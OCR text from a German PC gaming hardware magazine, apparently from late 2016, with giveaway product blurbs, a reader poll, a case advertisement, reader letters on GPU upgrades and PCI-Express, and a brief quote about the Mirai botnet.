HandgróBe anpassen. Der optionale seitliche Analogstick 
bietet eine Alternative zum gängigen Bewegen mit den 
WASD-Tasten. Natürlich lassen sich sámtliche Tasten kom- 
plett re-programmieren, sodass man den TAC Pro auf das 
persónliche Spielverhalten anpassen kann. In der dazuge- 
hórigen Software kann jeder Spieler auBerdem weitere Para- 
meter anpassen, unter anderem die Empfindlichkeit der 
Maus oder die Tastenbelegung. Hierzu sind bis zu drei 


Pro-Paket 
kommt mit 
optimierter 

Tastatur und 
Maus. Bei- 
des zusam- 
men ist 

auf dem 
Schlachtfeld 
eine tüdli- 
che Kombi- 
nation. 


Spielerprofile nach eigenem Gusto belegbar und lassen sich 
über die eben beschriebene Software verwalten. Die Maus 
mit 3200 DPI sorgt dabei zusätzlich für tödliche Präzision 
beim Schießen. Der TAC Pro ist dennoch mit jeder anderen 
USB-Maus kompatibel. Kombiniert mit dem natürlichen 
Geschwindigkeitsvorteil einer Maus-Tastatur-Kombination, 
garantiert der TAC Pro Dominanz auf dem Schlachtfeld und 
an der Konsole. Kompatibel ist der TAC Pro mit der Playsta- 
tion 3, Playstation 4 und natürlich dem PC. 
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Captiva „Die Trophäe“ 


WEB: www.captiva-power.de PREIS (UVP): € 799 


Zeigen Sie, was Sie können, auf Ihrer „Trophäe“, einem der 
New-PC-Editions von CAPTIVA und einem der ersten Komplett- 
rechner auf dem deutschen Markt mit GTX1050Ti, 4GB. Die 
Grafikkarte wurde von NVIDIA perfektioniert, um optimale 
Voraussetzungen für ESL-Spiele zu schaffen. Das Gütesiegel für 
„ungeboostete Qualität“ erleichtert die Entscheidung für den 
Einstiegs-PC in die Welt des eSports. Flink an Rechenleistung 
ist der PC allemal, dafür sorgt Intels Core i5-6400 Prozessor. 

e Verpackt im angesagten eSport- 
Gehäuse Vortex V4 von Raidmax, 
wurde an weiterer Hochleis- 
tungshardware nicht gespart. 
So findet man im Inneren 
8192MB DDR4 RAM und eine 
SSD mit 120GB, beides von 
HyperX. Und das Beste dabei, 
„Die Trophäe“ ist dennoch 
kein Stromfresser. Mit extrem 
niedriger Energieanforderung 
kommen High-End-Gamer 
und alle, die es werden möch- 
ten, voll auf ihre Kosten. 


sonoro sonoroCD 2 


WEB: www.sonoro.de PREIS (UVP): € 399 


Das Musiksystem sonoroCD 2 ist speziell für das Schlafzimmer 
entwickelt worden. Neben den Relaxinhalten erklingen Lieblings- 
hits oder Hórbücher von CD, USB oder per Bluetooth gestreamt 
in vollem Klang. Durch den Digitalradio-Standard DAB+ kónnen 
Radiosender in höchster Audioqualität wiedergegeben werden. 
Der nach oben abstrahlende Lautsprecher sorgt für eine gleich- 
mäßige Verteilung des Klangs im ganzen Raum. Mit der integ- 
rierten Lichtsteuerung ermóglicht das Gerát in Kombination mit 
dem sonoroLIGHT Sonnenauf- und untergangssimulationen und 
bereitet so den Kórper auf das Einschlafen und Aufwachen vor. 
Auf dem Gerät sind Entspannungsübungen, klassische Medita- 
tionen, Progressive Mus- 

kelentspannung, Fan- 
tasiereisen, medi- 
tative Klänge und 
Naturklänge vorin- 
stalliert. Sämtliche 
Inhalte wurden 
unter Berücksich- 
tigung wissen- 
schaftlicher Er- 
kenntnisse kreiert. 


sonorch 


Corsair 
КТО RGB RAPIDFIRE 


WEB: www.corsair.com PREIS (UVP): € 169,99 


Die mechanische Tastatur K70 RGB RAPIDFIRE besitzt 100 % 
Cherry-MX-Speed-RGB-Tastenschalter für eine maximale Leis- 
tung. Das 100 % Anti-Ghosting mit vollständigem Tasten-Roll- 
over über USB garantiert, dass jeder Tastendruck in genaue 
und zügige Spielbefehle übersetzt wird. Zudem ist sie mit 
einem leichten Aluminiumgehäuse und einer dynamischen, 
satten mehrfarbigen LED-Hintergrundbeleuchtung ausgestat- 
tet, was den Look hochwertig und sehr modern macht. Die 
CUE-Software ermöglicht raffinierte Makros sowie dramatische 
Effekte und Animationen, die sich individuell programmieren 
und festlegen lassen. Der USB-Passthrough-Anschluss ist so 
positioniert, dass keine Kabel beim Spielen stören. Jederzeit 
kann eine Maus oder ein Adapter für ein kabelloses Headset 
eingesteckt werden. Eine abnehmbare Handballenauflage und 
dedizierte Multimedia-Steuerung mit einem Lautstärkeregler 
aus Metall ermöglichen Ihnen stundenlanges Spielen ohne 
Komfortverlust. Mit profilierten und strukturierten FPS- und 
MOBA-Tasten behalten Sie jederzeit die Kontrolle. 


“Qam 


Gigabyte 6) 
GeForce 
GTX 1080 


WEB: www.gigabyte.de 
PREIS (UVP): € 849 


Das GIGABYTE 
1080 XTREME 
Gaming Premium 
Pack ist die schnellste und leiseste Kar- 
te auf dem Markt mit einem Boosttakt von 
1898 MHz im Gaming-Mode und 1936 MHz 
im OC-Mode! Das Flaggschiff aus dem Hause 

GIGABYTE verfügt über ein innovatives Lüfterdesign, bei dem 
die Lüfter versetzt angeordnet sind, um eine optimale Luftzir- 
kulation zu gewährleisten. Der massive Kühlkörper kühlt neben 
der GPU auch andere kritische Komponenten wie Spannungs- 
wandler, MOSFETs und VRM. Somit wird die Lebensdauer der 
Karte maximiert, da eine Überhitzung der Bauteile nahezu 
ausgeschlossen ist, und langen Gaming Sessions steht nichts 
mehr im Weg. Natürlich sind auf dieser High-End-Karte aus- 
schließlich Premium-Komponenten verbaut. Die im Lieferum- 
fang enthaltene Xtreme Gaming HB SLI Bridge und ein VR 
Panel runden das Premium-Paket ab. 


ZOTAC /BOX MAGNUS EN1060 


WEB: www.zotac.com PREIS (UVP): € 959 


Die neue ZBOX MAGNUS EN1060 mit NVIDIA Pascal Grafik- 
architektur überzeugt mit einer überragenden Leistungsfähig- 
keit, die nahezu jeder Anforderung gerecht wird und selbst vor 
Virtual Reality keinen Halt macht. Ein Intel Core i5 Skylake 
Desktop-Prozessor, eine NVIDIA GeForce GTX 1060 Grafikkar- 
te sowie DDR4 Speicher Support stellen die Weichen für die 
erforderliche Performance für neueste Spiele-Titel mit flüssigen 
Bildraten und hohen Standards. Die ZBOX ist darüber hinaus 
mit neusten USB-3.1-Ports ausgestattet, während 802.11ac 
WLAN, Bluethooth 4.0 sowie Dual Gigabit LAN die 
Konnektivität-Möglichkeiten abrunden. Damit ist die ZBOX 
MAGNUS EN1060 die ideale Lösung für High-End-Gaming, 
Premium-Entertainment und vieles mehr. 


Microsoft Xbox One S Bundle 


WEB: www.microsoft.de PREIS (UVP): € 299 


Die Xbox One S ist die einzige Konsole mit integriertem 4K-Blu- 
ray-Player, 4K-Videostreaming und HDR für atemberaubende 
Schärfe und lebendige Farben. Genießen Sie die neue Detailtie- 
fe sowohl bei der Gaming-Session oder aber beim Videostrea- 
ming-Marathon via Netflix und in Kürze auch Amazon Video. Die 
Xbox One S ist zudem ganze 40 % kleiner als die Xbox One. So 
findet sie in jedem Wohnzimmer Platz. Innen bietet sie mit bis 
zu 2 TB reichlich Speicherplatz für Ihre Spielekollektion. Mit der 
Xbox One S können Sie aus mehr als 100 Exklusivtiteln wählen, 
weitere 250 Titel sind über die Abwärtskompatibilität zur Xbox 
360 spielbar. Mit im Bundle ist einer der überarbeiteten Wireless 
Controller mit Bluetooth, 3,5-mm-Klinkenstecker und Textured 
Grip, damit Sie alles fest im Griff haben. 
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Samsung 
SSD 850 
EVO 


WEB: www.samsung.de 
PREIS (UVP): € 189,- (500 GB), 
€ 369,- (1 TB) 


Sie wollten schon immer 
mal Ihr Technik-Know-how testen 
und das Herzstück Ihres Computers — den Speicher 
— upgraden? Die Leistung an ihre Grenzen treiben? Passend zu 
Weihnachten kónnen Sie Ihr eigenes Geschenk gewinnen und top 
ausgerüstet ins neue Jahr starten! Die SSDs 850 EVO mit 1 TB 
sowie die 850 EVO mit 500 GB sorgen im PC oder Laptop für ein 
Geschwindigkeitsupgrade und glänzen dank V-NAND-Flash-Tech- 
nologie mit hoher Zuverlässigkeit, Geschwindigkeit und Ausdauer. 
Egal ob privat oder als verlässlicher Begleiter im Arbeitsalltag. Mit- 
hilfe der Data Migration Software von Samsung ist der Umzug 
kinderleicht: Statt viele einzelne Schritte auf zahlreichen Options- 
und Menüseiten vornehmen zu müssen, kann der User den Mig- 
rationsvorgang in nur drei Schritten erledigen und anschlieBend 
die neue SSD einsetzen. Bequemer geht es nicht. Gewinnen Sie 
zusammen mit Computec und Samsung Electronics eine der bei- 
den Samsung SSDs 850 EVO 1 TB oder 500 GB. 


Parrot Bebop 2 FPV 


WEB: www.parrot.com/de PREIS (UVP): € 699 


Gibt es ein schöneres Abenteuer, als mit einer Drohne die Umge- 

bung zu erkunden? Mit dem Parrot Bebop 2 FPV Set ist allen 
Flugbegeisterten ein unvergessliches Erlebnis garantiert. 

Der kompakte Quadrocopter Parrot Bebop 2 FPV ist die opti- 

male Drohne für alle Freizeit- und Outdoor-Begeisterten. Dank 
neuester Sensortechnik und verschiedenen Stabilisatoren hàlt 

er allen Wetterbedingungen stand. Die eingebaute 14-Megapi- 
xel-Kamera ermöglicht atemberaubende Filmaufnahmen und 
Fotos. Mit einer Reichweite bis zu 2 km (mit 
Parrot Skycontroller 2) und einer Flugzeit von а 
25 Minuten ist die Drohne der ideale Gefàhr- 
te für jeden Ausflug. Zum Komplettpaket 
деһдгеп neben der Parrot Bebop 2 und dem 
Parrot Skycontroller 2 auch die Parrot Cock- 
pitglasses. Darüber wird via Live-Stream der 
Flug zum Erlebnis — so als würde man selbst 
im Cockpit sitzen. So wird der 
Traum vom Fliegen mit dem Par- 
rot Bebop 2 FPV Set zur Realitàt. 
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LG 
UltraWide " 
Monitor 
34UM88O 


WEB: www.ig.de PREIS (UVP): € 639 


Dafür schafft man gerne mehr Platz unterm Weihnachtsbaum: 
Der LG 21:9 UltraWide'" WQHD IPS LED Monitor 34 UM88C 
bietet beeindruckende 34 Zoll Bilddiagonale (Auflósung: 3.440 
x 1.440 Pixel) für Apps, Filme und Spiele. Das brillante IPS-Panel 
überzeugt durch eine perfekte Farbwiedergabe, überragende 
Helligkeit und hohe Blickwinkelstabilität. Durch sein innovatives 
Screen-Split-2.0-Feature mit Picture-in-Picture wird der Monitor 
zum Traum jedes Multitaskers: Einfach im komfortablen Bild- 
schirmmenü das Display in zwei, drei oder vier Abschnitte unter- 
teilen, so als hátte man bis zu vier Monitore gleichzeitig auf dem 
Schreibtisch stehen. Der flexibel anpassbare Standfuß garantiert 
ergonomisches Arbeiten und die beiden integrierten 7-Watt- 
Lautsprecher bieten kräftigen Stereosound. Die zahlreichen 
Anschlüsse, inklusive USB 3.0, lassen keine Wünsche offen. 
FreeSync sorgt im Zusammenspiel mit AMD-Grafikkarten für 
eine flüssige Bewegungsdarstellung in Spielen. Features wie 
Black Stabilizer und Dynamic Action Sync machen das LG Ultra- 
Wide'" Display vollends zum perfekten Gaming-Monitor. 


Assetto Corsa 


WEB: www.assettocorsa.net PREIS: € 49,99 


Präzision und Perfektion sind die bei- 
den Maßstäbe, die Entwickler Kunos 
Simulazioni bei der Umsetzung des 
erfolgreichen PC-Rennspiels Assetto 
Corsa für die Heimkonsolen angelegt 
hat. Wie auf dem Rechner zeichnet 
sich der Titel auch auf den Konsolen 
durch sehr hohen Realismus und faszinie- 
rende Detailverliebtheit aus. So bietet Asset- 
to Corsa unter anderem exakte physikali- 
Sche Eigenschaften für über 80 Autos. Auch 
die per Laser vermessenen Strecken sind absolut originalgetreu 
nachgebaut, bis hin zu den Lichtverháltnissen, die sich an den 
echten geografischen Gegebenheiten der Kurse orientieren. Profis 
dürfen ihre Rennwägen außerdem bis ins kleinste Detail tunen, für 
Anfánger stehen dagegen verschiedene Fahrassistenzprofile bereit, 
die den Einstieg deutlich erleichtern. Zahlreiche verschiedene Modi 
wie Rennevents oder Fahrerkarrieren, einzigartige Herausforderun- 
gen sowie komplett anpassbare Einzel- und Mehrspieleroptionen 
garantieren außerdem monatelangen Spielspaß. Zu gewinnen gibt 
es in Kooperation mit Publisher 505 Games je dreimal Assetto Cor- 
sa für Xbox One und Playstation 4. 
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Onkyo | 55200 


WEB: www.onkyo.de PREIS (UVP): € 799 


Das 2.1-Kanal-Heimkinosystem LS5200 von Onkyo sorgt für 
packenden Klang und überzeugt gleichzeitig mit seinem schlan- 
ken Äußeren und einfacher Bedienbarkeit. Das Set aus schma- 
lem Netzwerk-Stereo-Receiver, zwei Lautsprechern und Sub- 
woofer benötigt wenig Platz. Die Verbindung des Receivers mit 
dem Fernsehgerät erfolgt über ein einziges HDMI-Kabel, die 
kompakten Zweiwege-Lautsprecher lassen sich flexibel positio- 
nieren, der Subwoofer wird drahtlos angesteuert. Die digitalen 
Verstärker des Receivers können pro Kanal mit einer satten Aus- 
gangsleistung von 85 Watt aufwarten. Zusammen mit dem auf 
die Satellitenlautsprecher abgestimmten 50 Watt Subwoofer 
sorgt das System für raumfüllenden Klang. 

Zusätzliches Plus: Populäre Musikservices wie 

Spotify sind bereits vorinstalliert, mittels WLAN, 

AirPlay, Bluetooth und Google Cast kann nahezu 

jede Online-Audioquelle direkt gestreamt und 

über die kostenlose Onkyo Control- 


ler-App gesteuert werden. Wer 
mag, kann das LS7200 mithilfe von 
optionalen Drahtloslautsprechern 
zudem Multi-Room- E E 


fáhig machen. 


Sharkoon SKLLER Gaming-Serie 


WEB: www.sharkoon.de PREIS (UVP): € 119,88 


Wer ein perfektes Geschenk für Gamer sucht, sollte die SKILLER- 
Serie des Herstellers Sharkoon in Betracht ziehen. Für Vorfreude 
sorgt die SKILLER SGM1 Gaming-Maus mit ihrem PixArt-Sensor 
mit bis zu 10.800 DPI, schnell zugänglichen Makro-Tasten, umfas- 
sender Programmierbarkeit und ergonomisch-eleganter Form. Die 
SKILLER MECH SGK1 lässt Gamer-Augen nicht nur wegen ihrer 
anpassbaren Hintergrundbeleuchtung in Weiß leuchten, sondern 
auch wegen den mechanischen Kailh-Schaltern, die nicht nur die 
Redaktion der PC Games Hardware in festliche Stimmung verset- 
zen konnten. Abgerundet wird der Gamer-Gabentisch durch das 
SKILLER SGH1 Stereo Headset, das mit schlankem Gewicht, fle- 
xibler Kopfbandaufhängung und extragroßen, austauschbaren 
Ohrpolstern jederzeit bequem auf dem Kopf sitzt und 


wegen seines satten Sounds für klingelnde Ohren `A 
sorgt. Und das Beste: Sie können eines von drei Le 
Gaming-Bundles bei uns gewinnen. | 


SPAR-TIPP 


Sharkoon 


R 


WEB: www.madcatz.com PREIS (UVP): € 80 


Ein echter Game Changer - die 
nächste Generation RAT ist da! Die 
neue Gaming-Maus der Hard- 
ware-Experten von Mad Catz 
arbeitet dank ihres 8.200-DPI- 
Laser-Sensors auch in hek- 
tischsten Situationen ultrap- 
räzise - und das auf nahezu 
jeder Tischfläche. Wie ihre 
Schwestermodelle ist auch die 
RAT 6 stark modifizierbar, so dürfen 
Sie beispielsweise die Handballenaufla- 
ge nach Ihren persönlichen Vorlieben 
anpassen, auch das Gewicht lässt sich in 
verschiedenen Stufen einstellen. Dazu gibt 
es die für drei verschiedene Zonen individuell 

festlegbare Kameleon-RGB-Beleuchtung, mit der Sie coole 
Leuchteffekte je nach Stimmung oder Spiel generieren können. 
Die Konfiguration erfolgt über die intuitive und übersichtliche 
Flux-Software am PC, bis zu drei Nutzerprofile können außer- 
dem direkt im internen Speicher der Maus hinterlegt werden, 
sodass Sie auch auf der nächsten LAN nicht auf die gewohnten 
Einstellungen verzichten müssen. 


WEB: www.samsung.de 
PREIS (UVP): € 1.399 


Der Samsung SUHD TV KS7590 in 43 Zoll bietet optimale 
Voraussetzungen für immersives Spielvergnügen und ist Wegbe- 
reiter für hochauflösende Grafik-Abenteuer der nächsten Gene- 
ration. Dafür sorgt unter anderem die Quantum Dot-Technologie. 
Mit den kleinen Nanokristallen wird nicht nur eine Spitzenhellig- 
keit von bis zu 1.000 Nit erreicht, auch die hervorragende Farb- 
und Lichtdarstellung lässt aktuelle Blockbuster-Spiele strahlen- 
der und realistischer wirken. Zusammen mit UHD-fähigen Spie- 
lekonsolen wie der Playstation 4 Pro oder der Xbox One S liefert 
der KS7590 beeindruckende Spielgrafik in 4K-Qualität. Mit UHD 
bzw. 4K können viermal so viele Pixel wie bei Full HD dargestellt 
werden. Gepaart mit HDR sind intensive Videospielerlebnisse 
vorprogrammiert, denn die neue Bildtechnologie sorgt für kont- 
rastreiche Inhalte. Darüber hinaus lassen sich mit der neuen 
Smart Remote kompatible Geräte wie Spielekonsolen oder Blu- 
ray-Player im Smart Hub direkt und unkompliziert auswählen. 


WEB: www.nubert.de PREIS: € 580 


Nuberts nuPro AS-250 ist der perfekte Begleiter für den heimi- 
schen Fernseher. Das Stereoboard wandert platzsparend unter 
das TV-Gerät, dem es gleichzeitig als Sockelt dient. Dank seiner 
digitalen Verstärkertechnik und des ausgeklügelten 2,5-Wege- 
Lautsprechersystems wertet das nuPro AS-250 den TV-Klang 
dramatisch auf. Tatsächlich klingt das kompakte All-in-one- 
System so gut, dass es sogar die klassische Hi-Fi-Anlage erset- 
zen kann. Es sind genügend Anschlüsse vorhanden, um neben 
dem TV-Gerät beispielsweise auch einen Netzwerk-Player, einen 
Bluetooth-Adapter oder andere Zuspieler anzuschließen. Die 
Bedienung erfolgt kinderleicht über die mitgelieferte Fernbedie- 
nung. Mit den Modellen nuPro A-100 bis A-300 hat Nubert alter- 
nativ auch klassische aktive Kompaktlautsprecher im Angebot. 


ts Das neue Windows 8: 


Aufrüsten nótig? 


z 
- 


Computec Jahresabo 


WEB: www.computec.de PREIS (UVP): ab € 51 


Computec Media ist der Top-Player im Bereich Electronic Enter- 
tainment mit 15 Special-Interest-Magazinen, 15 Online-Portalen, 
3 Digital-Only-Apps, Gameserver-Business, Konferenzgescháft, 
Online-IT-Schulungsangebot, Corporate Publishing und E-Com- 
merce & Licensing. Zum Portfolio des Unternehmens gehören 
führende Medienmarken wie PC Games, Golem und 4Players. 
Computec Media bietet kompetent aufbereitete Informationen 
zu den Themen Digital Entertainment, Gaming, Hardware, IT, CE, 
Software und Film. Im Rahmen unseres Gewinnspiels verlosen 
wir jeweils zehnmal ein Jahresabo der SFT - Spiele Filme Tech- 
nik, Widescreen, PC Games und PC Games Hardware. 


е hr РС wirklich! 
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Leserwahl 2016 


Welche Komponenten und welcher Hersteller haben Ihnen im vergangenen Jahr mit innovativen, 


außergewöhnlichen oder einfach sehr guten Produkten am meisten Freude bereitet? 


Mitmäche 
abstimméi 


edes Jahr aufs Neue kürt PC 

Games Hardware zusammen mit 
seinen Lesern die besten Produkte 
und beliebtesten Hersteller - 2016 
macht dabei selbstverstándlich kei- 
ne Ausnahme. Für die Leserwahl 
2016 haben wir uns ein paar Ände- 
rungen gegenüber den Vorjahren 
überlegt. Die wichtigste betrifft die 
Abstimmung an sich: Die Optionen, 
per Brief und im PCGH-Forum ab- 
zustimmen, fallen zugunsten von 
Survey Monkey weg. Dabei handelt 
es sich um eine komfortable Móg- 
lichkeit, Umfragen mit zahlreichen 
Optionen zu erstellen - ohne dass 
eine Registrierung notwendig ist. 
Dadurch ermóglichen wir es jedem 
Interessenten, an der Wahl teilzu- 
nehmen. 


Außerdem dürfen Sie diesmal in 
einigen neuen Kategorien abstim- 
men, in denen wir Produkte bei- 
spielsweise nach Spaß und Technik 
differenzieren - werfen Sie doch 
mal einen Blick nach unten oder 
legen Sie direkt los. PC Games Hard- 
ware wünscht viel Vergnügen! (rv) 


Alle Kategorien im Überblick 


JP Prozessoren (x86) 
Die beliebtesten Prozessoren 


» Grafikchip 
Die besten GPUs 


3» Grafikkarten 


Die beliebtesten Pixelschubser 


PP Hauptplatinen 
Mainboard-Highlights 


® Arbeitsspeicher 
DDR3 oder schon DDR4 


3» Monitore 
UHD, breit oder superschnell 


JP Festplatten 
Große Datengräber 
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3» Solid State Disks 


Endlich grof und bezahlbar 


JP Soundkarten 


Gehóren zum guten Ton 


= CPU-Kühler 
(Luft) 


So einen besitzt jeder! 


=» CPU-Kühler 
(Kompakt-Wakü) 
Das Beste beider Welten 


3» CPU-Kühler 
(Wasser) 


Die besten Kaltmacher 


= Lüfter 


Die besten Propellerjungs 


® Tastaturen 
Mechanik oder Gummikuppel? 


Ð Mäuse 
Optisch, Laser oder gar Kugel? 


Ð Netzteile 


Die effizientesten Stromspender 


® Gehäuse 


Von ITX bis zum Bigtower 


® Notebooks 


Spielen oder arbeiten? 


29 Kopfhörer/Headsets 
Guter Klang direkt im Ohr ... 


JP Lautsprecher 


... oder auch für die Nachbarn 


JP Versender des Jahres 
Bei wem kaufen Sie zufrieden? 


X» Produkt des Jahres 
Absolute Technik-Highlights der 
Kategorie Hardware 


= Preis-Leistungs-Tipp 


Riesenspaß zum Vernunftpreis 


= Energiesparer 
Wahre Effizienzmeister 


29 Spiele: Top-Technik 
Hier geht es um die beste Grafik 
und den knackigsten Sound 


® Spiele: Top-Gameplay 


Stardew Valley & Co.: Wenn die 
Technik zweitrangig ist 


www.pcgameshardware.de 


4\harkoon 


INTEGRIERTER 


SURROUND-SOUND 


MINIMALES DESIGN, MAXIMALER SOUND 


Die Sharkoon M25-Serie steht für minimalistisch designte 
ATX Midi Tower, die besonders durch ihre vielfältigen 
Einbaumöglichkeiten und ihren aufgeräumten Look innen 
wie außen überzeugen. Das in Schwarz und Weiß er- 
háltliche M25-W besticht jedoch nicht nur durch sein 
extragroßes Acryl-Seitenfester und passendem LED-Lüfter, 
sondern auch durch seinen satten Sound: Dank integrierter 
Soundkarte profitieren anspruchsvolle Gamer von der 
perfekten Koordination mit ihrem Team und ebenso von 
virtuellem Surround-Sound. 


FT T oss PCE C ASE 


[narkoon 


Aharkoon 


Angeschlossen wird die integrierte Soundkarte über den 


internen USB-Anschluss auf dem Mainboard und eignet 


sich besonders gut als zweite Soundquelle für den Betrieb 
von Lautsprechern und Headsets an einem PC. Zudem 


lassen sich bestehende Windows-Systeme bequem mit 


virtuellem 7.1-Sound aufrüsten. In der Audio-Software 
können außerdem individuelle Equalizer-Funktionen, Effekte 
sowie Mikrofon Boost für ein perfekt abgemischtes Ga- 
ming-Erlebnis eingestellt und zum späteren Gebrauch ab- 
gespeichert werden. 


www.sharkoon.de 
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Bremst PCI-Express 2.0 x16 stark? 

Ich habe eigentlich vor, meinen Prozessor und 
meine Grafikkarte aufzurüsten. Ich nutze noch 
einen Core i7-2600K und eine Geforce GTX 750 
Ti und möchte mir einen Core i7-6700K und 
eine Geforce GTX 1070 gönnen. Der i7-6700K 
hat viele Vorteile (DDR4, PCI-Express 3.0 etc.)., 
doch das spürt man natürlich deutlich im Geld- 
beutel. Nun gäbe es ja noch die Möglichkeit ein- 
fach den i7-2600K ein bißchen zu übertakten; 
dann kommt man von der Leistung vielleicht an 
den i7-6700k ran; wäre da nicht РСТ-Е 3.0 ... 

Nun zu meiner eigentlichen Frage: Besteht in 
der Praxis ein erheblicher Leistungsunterschied 
zwischen PCI-Express 2.0 und 3.0? Ich habe 
mich schon Informiert, doch die Meinungen 
sind ziemlich gespalten. 

Julius N., per E-Mail 


Torsten Vogel: Unsere letzte Messreihe zu die- 
sem Thema ist in der PCGH 12/2015 erschienen, 
damals noch auf Basis einer Geforce GTX 980 
Ti. Zumindest für diese haben wir bei praxis- 
nahen Einstellungen maximal 1 bis 2 Prozent 
Leistungsverlust im Betrieb mit PCI-Express 3.0 
x8 (entspricht dem Datendurchsatz von 2.0 
x16) statt 3.0 x16 gemessen. Oft lagen die Un- 
terschiede innerhalb der Messtoleranz. Ohne 
CPU- und GPU-Limitierung (Call of Duty Ad- 
vanced Warfare in 1080p: 196 statt 212 Fps) 
oder in Extremfällen mit fehlendem Grafikspei- 
cher (GTX 970 in Vanishing of Ethan Carter mit 
2160p: 5,6 statt 12,6 Fps) kann man zwar auch 
größere Verluste messen, aber so spielt vermut- 
lich niemand. Wenn es bislang keine Anzeichen 
für CPU-Limitierung in Ihren Anwendungssze- 
narien gibt, empfehle ich daher, vorerst nur die 
Grafikkarte zu tauschen. 


Geforce GTX 980 SLI für Ultra HD? 
Nach der Anschaffung eines Core i7-6950X 
will ich endlich auf Ultra HD, mindestens aber 
WOHD wechseln. Ich habe eine wassergekühlte 
GTX 980 und würde gerne eine zweite verbau- 
en. Wie verhält sich ein SLI-Verbund in UHD, 
wie sehr bemerkt man das Mikroruckeln? 
Egon S., per E-Mail 


Raffael Vötter: Die Geforce GTX 980 ist nach 
wie vor eine gute Grafikarte, die auch in WOHD 
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Community 


Leserbriefe 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


noch ordentliche Bildraten liefert. Nach den Er- 
Jahrungen, welche wir in den Spielen des Jahres 
2016 gesammelt haben, rate ich Ihnen jedoch 
klar davon ab, einen SLI-Verbund aufzubauen. 
Sofern Spiel und Treiberprofil mit SLI zurecht- 
kommen, mag die Rohleistung zwar hoch sein, 
in der Praxis stören jedoch Nebeneffekte die ge- 
‚fühlte Leistung. Mikroruckeln tritt bereits dann 
auf, wenn alle Voraussetzungen stimmen - wie 
sehr Sie das stört, hängt von Ihrer Wahrneh- 
mung ab. Die von Ihnen angestrebten hohen 
Auflösungen sind jedoch ein Nutzungsszenario, 
bei denen sich die Probleme gegenüber Full HD 
verstärken: Kommt es zu einem Speicherüber- 
lauf - das passiert in UHD ziemlich oft -, dann 
kommt der SLI-Verbund aus dem Tritt. Erst in 
der PCGH 12/2016 haben wir auch dieses The- 
ma behandelt, am besten, Sie lesen den Artikel 
„Speicher-Ratgeber“ aufmerksam durch. Nun 
haben Sie mehrere Optionen: Sie probieren es 
doch aus (wovon ich abrate), sie übertakten 
Ihre GTX 980 dank Wasserkühlung bis zum 
Anschlag und versuchen es mit UHD oder Sie 
verkaufen die GTX 980 und greifen zu einer 
ordentlichen GTX 1070. Die GTX 1080 mag bis 
zu 25 Prozent schneller sein, kostet aber 50 Pro- 
zent mehr. Sie entscheiden. 


GTX 1080 mit Gulftown betreiben? 

Ich frage mich, ob bei meinem Sockel-1366- 
System ein Grafikkartentausch sinnvoll ist. Der 
verbaute Intel Xeon X5670 hält sogar in Stress- 
tests 3,2 GHz Boost auf allen Kernen. Dazu kom- 
men 12 GiByte DDR3-1333-RAM von verschie- 
denen Herstellern. Jetzt der Knackpunkt: Ich 
habe aus meinem alten System eine Zotac GTX 
650 Ti mit 2 GiByte übernommen. Momentan 
wird noch in 1.440 x 900 gespielt; allerdings 
soll hier auf jeden Fall aufgerüstet werden, ver- 
mutlich auf 3.440 x 1.440 oder 4K. Dafür ist die 
Grafikkarte auf jeden Fall zu schwach, muss also 
ausgetauscht werden. Reicht der Unterbau noch 
aus oder wird die angedachte GTX 1080 vom 
Prozessor oder der RAM-Menge gebremst? 

Marcel B., per E-Mail 


Stephan Wilke: Ein idealer Untersatz für eine 
Geforce СТХ 1080 ist ihr System zwar sicherlich 
nicht, doch bei dem geplanten Einsatzzweck, 
also Spielen in der Auflösung 3.440 x 1.440 


oder höher, benötigen Sie viel GPU-Leistung 
und Grafikspeicher, worüber die GTX 1080, 
anders als die momentan noch verwendete 
GTX 650 Ti/2G, verfügt. Dank der sechs Kerne 
und SMT liefert der Xeon X5670 trotz alter Ar- 
chitektur in den meisten Spielen noch gut spiel- 
bare Bildraten, eng wird es allerdings, wenn 
eine hohe Pro-Kern-Leistung gefragt ist, etwa 
in Starcraft 2. ARtuelle Spiele verteilen die an- 
fallende Arbeit aber meistens gut auf mehr als 
vier Kerne, derartige Fálle sind also selten. Alle 
Titel, die Sie momentan in 1.440 x 900 ange- 
nehm spielen kónnen, werden Sie auch nach 
dem Grafikkartentausch gut spielen kónnen, 
nur eben mit einer wesentlich besseren Bild- 
qualität. Bei Spielen, die momentan ruckeln, 
kónnen Sie durch das Verringern der Auflósung 
(z. B. auf 1.280 x 720) und das Herabsetzen 
von Details wie aufwendigen Shadern oder der 
Texturqualitát, herausfinden, ob die Grafikkar- 
te oder die CPU das Nadelóhr ist. Ruckelt das 
Spiel auch mit Minimaloptik, dann wird ein 
Tausch der Grafikkarte allein nicht ausreichen. 
12 GiByte halten wir für akzeptabel, hier sollten 
sie in aktuellen Titeln nur selten Mikroruckler 
erleben, die wir mit 8 GiByte in immer mehr 
Spielen beobachten, mit 16 GiByte aber typi- 
scherweise ausbleiben. Sie sollten allerdings im 
Alltag etwas mehr Disziplin als ein Nutzer mit 
16 GiByte aufbringen, also speicherhungrige 
Anwendungen wie Browser vor dem Spielstart 
schliefsen. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 

Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: 
pcgh.de/digital-ausgabe 


Ъ Einzelheft bestellen: 
www.pcgh.de/heft 


www.pcgameshardware.de 


www.pcgh.de/print 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 
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Worte des Monats 


, (Das Botnet) Mirai ist ein riesiges Desaster für 
das Internet der Dinge. “ 


Cooper Wang von Hangzhou Xiongmai Technology (ein Hersteller von vernetzten Über- 
wachungssystemen, der nach einem schweren DDOS-Angriff am 21.10., welcher unter anderem 
Twitter, Netflix, Paypal und Spotify betraf, einige der in den USA verkauften Produkte zurückrief) 


Bild des Monats 


Reddit-Nutzer , Tripleh280^ 


Rossis Restekiste ` erspähte während einer Fahrt 


mit der U-Bahn in Montreal 

U.S.S. Enterprise Quadrocopter BEN einen Eidos-Mit- 
arbeiter, der ein Dokument 
zu „Shadow of the Tomb 
Raider" bearbeitete — der 
Nachfolger von Rise of the 


